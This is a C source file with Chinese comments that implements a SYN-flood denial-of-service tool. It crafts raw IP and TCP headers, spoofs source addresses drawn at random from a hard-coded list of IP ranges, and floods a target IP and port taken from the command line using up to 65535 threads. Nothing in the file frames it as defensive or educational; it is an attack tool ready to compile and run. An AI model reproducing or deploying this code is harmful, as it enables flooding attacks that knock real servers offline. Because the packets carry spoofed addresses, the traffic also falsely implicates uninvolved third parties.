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/*************************************************************************
> File Name: syn_flood.c
> Author: Jiange
> Mail: [email protected]
> Created Time: 2016年01月01日 星期五 22时32分34秒
************************************************************************/
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
/* 最多线程数 */
#define MAXCHILD 65535
/* 原始套接字 */
int sockfd;
/* 程序活动标志 */
static int alive = -1;
char dst_ip[20] = { 0 };
int dst_port;
struct ip{
unsigned char hl;
unsigned char tos;
unsigned short total_len;
unsigned short id;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
};
struct tcphdr{
unsigned short sport;
unsigned short dport;
unsigned int seq;
unsigned int ack;
unsigned char lenres;
unsigned char flag;
unsigned short win;
unsigned short sum;
unsigned short urp;
};
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zero;
char protocol;
unsigned short length;
};
/* CRC16校验 */
unsigned short inline
checksum (unsigned short *buffer, unsigned short size)
{
unsigned long cksum = 0;
while(size>1){
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size){
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return((unsigned short )(~cksum));
}
/* 发送SYN包函数
* 填写IP头部，TCP头部
* TCP伪头部仅用于校验和的计算
*/
void
init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{
int len = sizeof(struct ip) + sizeof(struct tcphdr);
// IP头部数据初始化
ip->hl = (4<<4 | sizeof(struct ip)/sizeof(unsigned int));
ip->tos = 0;
ip->total_len = htons(len);
ip->id = 1;
ip->frag_and_flags = 0x40;
ip->ttl = 255;
ip->proto = IPPROTO_TCP;
ip->checksum = 0;
ip->sourceIP = 0;
ip->destIP = inet_addr(dst_ip);
// TCP头部数据初始化
tcp->sport = htons( rand()%16383 + 49152 );
tcp->dport = htons(dst_port);
tcp->seq = htonl( rand()%90000000 + 2345 );
tcp->ack = 0;
tcp->lenres = (sizeof(struct tcphdr)/4<<4|0);
tcp->flag = 0x02;
tcp->win = htons (2048);
tcp->sum = 0;
tcp->urp = 0;
//TCP伪头部
pseudoheader->zero = 0;
pseudoheader->protocol = IPPROTO_TCP;
pseudoheader->length = htons(sizeof(struct tcphdr));
pseudoheader->daddr = inet_addr(dst_ip);
srand((unsigned) time(NULL));
}
int cnipint()
{
char *ips[] = {"58.14.0.0","58.16.0.0","58.24.0.0","58.30.0.0","58.32.0.0","58.66.0.0","58.68.128.0","58.82.0.0","58.87.64.0","58.99.128.0","58.100.0.0","58.116.0.0","58.128.0.0","58.144.0.0","58.154.0.0","58.192.0.0","58.240.0.0","59.32.0.0","59.64.0.0","59.80.0.0","59.107.0.0","59.108.0.0","59.151.0.0","59.155.0.0","59.172.0.0","59.191.0.0","59.191.240.0","59.192.0.0","60.0.0.0","60.55.0.0","60.63.0.0","60.160.0.0","60.194.0.0","60.200.0.0","60.208.0.0","60.232.0.0","60.235.0.0","60.245.128.0","60.247.0.0","60.252.0.0","60.253.128.0","60.255.0.0","61.4.80.0","61.4.176.0","61.8.160.0","61.28.0.0","61.29.128.0","61.45.128.0","61.47.128.0","61.48.0.0","61.87.192.0","61.128.0.0","61.232.0.0","61.236.0.0","61.240.0.0","114.28.0.0","114.54.0.0","114.60.0.0","114.64.0.0","114.68.0.0","114.80.0.0","116.1.0.0","116.2.0.0","116.4.0.0","116.8.0.0","116.13.0.0","116.16.0.0","116.52.0.0","116.56.0.0","116.58.128.0","116.58.208.0","116.60.0.0","116.66.0.0","116.69.0.0","116.70.0.0","116.76.0.0","116.89.144.0","116.90.184.0","116.95.0.0","116.112.0.0","116.116.0.0","116.128.0.0","116.192.0.0","116.193.16.0","116.193.32.0","116.194.0.0","116.196.0.0","116.198.0.0","116.199.0.0","116.199.128.0","116.204.0.0","116.207.0.0","116.208.0.0","116.212.160.0","116.213.64.0","116.213.128.0","116.214.32.0","116.214.64.0","116.214.128.0","116.215.0.0","116.216.0.0","116.224.0.0","116.242.0.0","116.244.0.0","116.248.0.0","116.252.0.0","116.254.128.0","116.255.128.0","117.8.0.0","117.21.0.0","117.22.0.0","117.24.0.0","117.32.0.0","117.40.0.0","117.44.0.0","117.48.0.0","117.53.48.0","117.53.176.0","117.57.0.0","117.58.0.0","117.59.0.0","117.60.0.0","117.64.0.0","117.72.0.0","117.74.64.0","117.74.128.0","117.75.0.0","117.76.0.0","117.80.0.0","117.100.0.0","117.103.16.0","117.103.128.0","117.106.0.0","117.112.0.0","117.120.64.0","117.120.128.0","117.121.0.0","117.121.128.0","117.121.192.0","117.122.128.0","117.124.0.0","117.128.0.0","118.24.0.0","118.64.0.0","118.66.0.0","118.67.112.0","118.72.0.0","118.80.0.0","118.84.0.0","118.88.32.0","118.88.64.0","118.88.128.0","118.89.0.0","118.91.240.0","118.102.16.0","118.112.0.0","118.120.0.0","118.124.0.0","118.126.0.0","118.132.0.0","118.144.0.0","118.178.0.0","118.180.0.0","118.184.0.0","118.192.0.0","118.212.0.0","118.224.0.0","118.228.0.0","118.230.0.0","118.239.0.0","118.242.0.0","118.244.0.0","118.248.0.0","119.0.0.0","119.2.0.0","119.2.128.0","119.3.0.0","119.4.0.0","119.8.0.0","119.10.0.0","119.15.136.0","119.16.0.0","119.18.192.0","119.18.208.0","119.18.224.0","119.19.0.0","119.20.0.0","119.27.64.0","119.27.160.0","119.27.192.0","119.28.0.0","119.30.48.0","119.31.192.0","119.32.0.0","119.40.0.0","119.40.64.0","119.40.128.0","119.41.0.0","119.42.0.0","119.42.136.0","119.42.224.0","119.44.0.0","119.48.0.0","119.57.0.0","119.58.0.0","119.59.128.0","119.60.0.0","119.62.0.0","119.63.32.0","119.75.208.0","119.78.0.0","119.80.0.0","119.84.0.0","119.88.0.0","119.96.0.0","119.108.0.0","119.112.0.0","119.128.0.0","119.144.0.0","119.148.160.0","119.161.128.0","119.162.0.0","119.164.0.0","119.176.0.0","119.232.0.0","119.235.128.0","119.248.0.0","119.253.0.0","119.254.0.0","120.0.0.0","120.24.0.0","120.30.0.0","120.32.0.0","120.48.0.0","120.52.0.0","120.64.0.0","120.72.32.0","120.72.128.0","120.76.0.0","120.80.0.0","120.90.0.0","120.92.0.0","120.94.0.0","120.128.0.0","120.136.128.0","120.137.0.0","120.192.0.0","121.0.16.0","121.4.0.0","121.8.0.0","121.16.0.0","121.32.0.0","121.40.0.0","121.46.0.0","121.48.0.0","121.51.0.0","121.52.160.0","121.52.208.0","121.52.224.0","121.55.0.0","121.56.0.0","121.58.0.0","121.58.144.0","121.59.0.0","121.60.0.0","121.68.0.0","121.76.0.0","121.79.128.0","121.89.0.0","121.100.128.0","121.101.208.0","121.192.0.0","121.201.0.0","121.204.0.0","121.224.0.0","121.248.0.0","121.255.0.0","122.0.64.0","122.0.128.0","122.4.0.0","122.8.0.0","122.48.0.0","122.49.0.0","122.51.0.0","122.64.0.0","122.96.0.0","122.102.0.0","122.102.64.0","122.112.0.0","122.119.0.0","122.136.0.0","122.144.128.0","122.152.192.0","122.156.0.0","122.192.0.0","122.198.0.0","122.200.64.0","122.204.0.0","122.224.0.0","122.240.0.0","122.248.48.0","123.0.128.0","123.4.0.0","123.8.0.0","123.49.128.0","123.52.0.0","123.56.0.0","123.64.0.0","123.96.0.0","123.98.0.0","123.99.128.0","123.100.0.0","123.101.0.0","123.103.0.0","123.108.128.0","123.108.208.0","123.112.0.0","123.128.0.0","123.136.80.0","123.137.0.0","123.138.0.0","123.144.0.0","123.160.0.0","123.176.80.0","123.177.0.0","123.178.0.0","123.180.0.0","123.184.0.0","123.196.0.0","123.199.128.0","123.206.0.0","123.232.0.0","123.242.0.0","123.244.0.0","123.249.0.0","123.253.0.0","124.6.64.0","124.14.0.0","124.16.0.0","124.20.0.0","124.28.192.0","124.29.0.0","124.31.0.0","124.40.112.0","124.40.128.0","124.42.0.0","124.47.0.0","124.64.0.0","124.66.0.0","124.67.0.0","124.68.0.0","124.72.0.0","124.88.0.0","124.108.8.0","124.108.40.0","124.112.0.0","124.126.0.0","124.128.0.0","124.147.128.0","124.156.0.0","124.160.0.0","124.172.0.0","124.192.0.0","124.196.0.0","124.200.0.0","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int arrlen = sizeof(ips)/sizeof(ips[0]);
//printf("ips len: %d\n", arrlen);
int j;
srand(time(0));
j = rand() % arrlen;
//printf("got random index: %d\n", j);
printf("the random ip: %s\n", ips[j]);
char tmp[strlen(ips[j])];
char finalip[20] = { 0 };
char tmpdig[4] = { 0 };
int i = 0;
strcpy(tmp, ips[j]);
char *token = strtok(tmp, ".");
while(token != NULL) {
if (strcmp(token, "0") == 0) {
int x = rand() % 255;
sprintf(tmpdig, "%d", x);
} else
strcpy(tmpdig, token);
strcat(finalip, tmpdig);
i++;
if (i < 4)
strcat(finalip, ".");
token = strtok(NULL, ".");
}
printf("findalip: %s\n", finalip);
struct in_addr ip;
int err = 0;
err = inet_aton(finalip, &ip);
if (err) {
//printf("ip string:\t%s\nip heximal:\t0x%x\nip decimal:\t%d\n", finalip, ip.s_addr, ip.s_addr);
return ip.s_addr;
} else {
printf("inet_aton: string %s convert error\n", finalip);
return 1370717149;
}
}
/* 发送SYN包函数
* 填写IP头部，TCP头部
* TCP伪头部仅用于校验和的计算
*/
void
send_synflood(struct sockaddr_in *addr)
{
char buf[100], sendbuf[100];
int len;
struct ip ip; //IP头部
struct tcphdr tcp; //TCP头部
struct pseudohdr pseudoheader; //TCP伪头部
len = sizeof(struct ip) + sizeof(struct tcphdr);
/* 初始化头部信息 */
init_header(&ip, &tcp, &pseudoheader);
/* 处于活动状态时持续发送SYN包 */
while(alive)
{
//ip.sourceIP = rand();
ip.sourceIP = cnipint();
//计算IP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &ip, sizeof(struct ip));
ip.checksum = checksum((u_short *) buf, sizeof(struct ip));
pseudoheader.saddr = ip.sourceIP;
//计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &pseudoheader, sizeof(pseudoheader));
memcpy(buf+sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
tcp.sum = checksum((u_short *) buf, sizeof(pseudoheader)+sizeof(struct tcphdr));
bzero(sendbuf, sizeof(sendbuf));
memcpy(sendbuf, &ip, sizeof(struct ip));
memcpy(sendbuf+sizeof(struct ip), &tcp, sizeof(struct tcphdr));
if (
sendto(sockfd, sendbuf, len, 0, (struct sockaddr *) addr, sizeof(struct sockaddr))
< 0)
{
perror("sendto()");
pthread_exit("fail");
}
usleep(128000);
}
}
/* 信号处理函数,设置退出变量alive */
void
sig_int(int signo)
{
alive = 0;
}
/* 主函数 */
int
main(int argc, char *argv[])
{
struct sockaddr_in addr;
struct hostent * host = NULL;
int on = 1;
int i = 0;
pthread_t pthread[MAXCHILD];
int err = -1;
alive = 1;
/* 截取信号CTRL+C */
signal(SIGINT, sig_int);
/* 参数是否数量正确 */
if(argc < 3)
{
printf("usage: syn <IPaddress> <Port>\n");
exit(1);
}
strncpy( dst_ip, argv[1], 16 );
dst_port = atoi( argv[2] );
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(dst_port);
if(inet_addr(dst_ip) == INADDR_NONE)
{
/* 为DNS地址，查询并转换成IP地址 */
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname()");
exit(1);
}
addr.sin_addr = *((struct in_addr*)(host->h_addr));
strncpy( dst_ip, inet_ntoa(addr.sin_addr), 16 );
}
else
addr.sin_addr.s_addr = inet_addr(dst_ip);
if( dst_port < 0 || dst_port > 65535 )
{
printf("Port Error\n");
exit(1);
}
printf("host ip=%s\n", inet_ntoa(addr.sin_addr));
/* 建立原始socket */
sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0)
{
perror("socket()");
exit(1);
}
/* 设置IP选项 */
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof (on)) < 0)
{
perror("setsockopt()");
exit(1);
}
/* 将程序的权限修改为普通用户 */
setuid(getpid());
printf("Going on...\n");
/* 建立多个线程协同工作 */
for(i=0; i<MAXCHILD; i++)
{
err = pthread_create(&pthread[i], NULL, send_synflood, &addr);
if(err != 0)
{
perror("pthread_create()");
exit(1);
}
sleep(6);
}
/* 等待线程结束 */
for(i=0; i<MAXCHILD; i++)
{
err = pthread_join(pthread[i], NULL);
if(err != 0)
{
perror("pthread_join Error\n");
exit(1);
}
}
close(sockfd);
return 0;
}